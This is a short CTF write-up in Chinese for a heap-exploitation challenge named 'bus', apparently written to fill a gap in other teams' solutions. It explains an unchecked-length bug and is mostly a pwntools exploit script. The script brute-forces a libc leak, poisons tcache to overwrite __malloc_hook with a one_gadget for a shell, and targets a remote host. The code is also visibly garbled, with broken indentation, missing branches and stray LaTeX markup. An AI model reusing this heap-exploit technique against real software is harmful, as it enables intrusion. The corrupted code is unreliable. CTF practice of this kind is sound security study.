## 看了Lilac和Whitzard的wp发现没有这道题,补充一下

题目的漏洞在于buy的时候没有check号长度,导致可以多分配出一个chunk,同时用塞人函数加几个人,达到堆块重叠的效果 填满tcache后用塞人函数和check ticket函数爆破得到libc,构造堆块重叠改在tcache中的fd指向\_\_malloc\_hook,改为one\_gadget得到shell

```
from pwn import *
import sys
if len(sys.argv) < 2:
  p = process("./bus")
  libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
  elf = ELF("./bus")
  p = remote("58.20.46.150", 43860)
  libc = ELF("./libc.so.6")
  elf = ELF("./bus")
def buy(des,number,free = False):
  p.sendlineafter("What do you want to do:","1")
  p.sendafter("Where do you want to go: ",des)
      p.recvuntil("OK, more people huh?\n")
  p.sendlineafter("How many people: ",str(number))
  p.recvuntil("Done!\n")
def select(des):
  p.sendlineafter("What do you want to do:","2")
  p.sendafter("Where is your destination:",des)
  info = p.recvline()
  if info != "No such place!\n":
      return True
  else:
      return False
def go():
  p.sendlineafter("What do you want to do:","3")
  p.recvuntil("OK, let's go!\n")
code_base = 0x555555554000
def debugf():
  def bruteforce():
  known = ""
  for i in range(6):
      #debuaf()
      if i == 0:
          select(str(i+1) + "\n")
          go()
      #debugf()
      buy(str(i+1) + "\n",(i+1))
      buy("0\n",0xe00+(5-i)-i*(0x90)+0x18)
      select(str(i+2) + "\n")
      go()
      if i == 0:
          for j in range(0x40,256):
              if select(chr(j) + "\n"):
                 known = chr(j) + known
                 log.success("known:"+known)
                  #raw_input()
                 break
      else:
          for j in range(256):
```

```
if j == 10:
                     continue
                else:
                     payload = chr(j) + known + "\n"
                     if select(payload):
                         known = chr(j) + known
                         log.success("known:"+known)
                         #raw_input()
                         break
   return u64(known.ljust(8,"\times00"))
context.log_level = "debug"
context.terminal = ["tmux","splitw","-v"]
for i in range(33):
   \texttt{buy}(\texttt{str(i).ljust(8,"} \times 00") + \texttt{p64(0)} + (\texttt{p64(0)} + \texttt{p64(0x91)}) * 6 + " \setminus n", i)
\texttt{buy("0} \\ \texttt{n",0)}
#debugf()
for i in range(20,27,1):
   select(str(i) + "\n")
   go()
#debugf()
for i in range(7):
   buy(chr(i+20)+"\n",i+20)
#debugf()
leak_addr = bruteforce()
print hex(leak_addr)
offset = 0x7ffff7dcfca0 - 0x7ffff79e4000
libc.address = leak_addr - offset
log.success("libc_base:"+hex(libc.address))
buy("7\n",7)
buy("0\n",0x90-0x30)
select("8\n")
go()
select("\n")
go()
#debugf()
malloc_hook = libc.symbols["__malloc_hook"]
one_gadget = libc.address + 0x10a38c
\label{eq:buy("a"*0x20 + p64(0) + p64(0x91) + p64(malloc_hook) + "\n",7)} \\
buy("aaaaaaaaaaaaaaaaa\n",8)
buy(p64(one\_gadget) + "\n",10000)
p.sendlineafter("What do you want to do:","1")
p.interactive()
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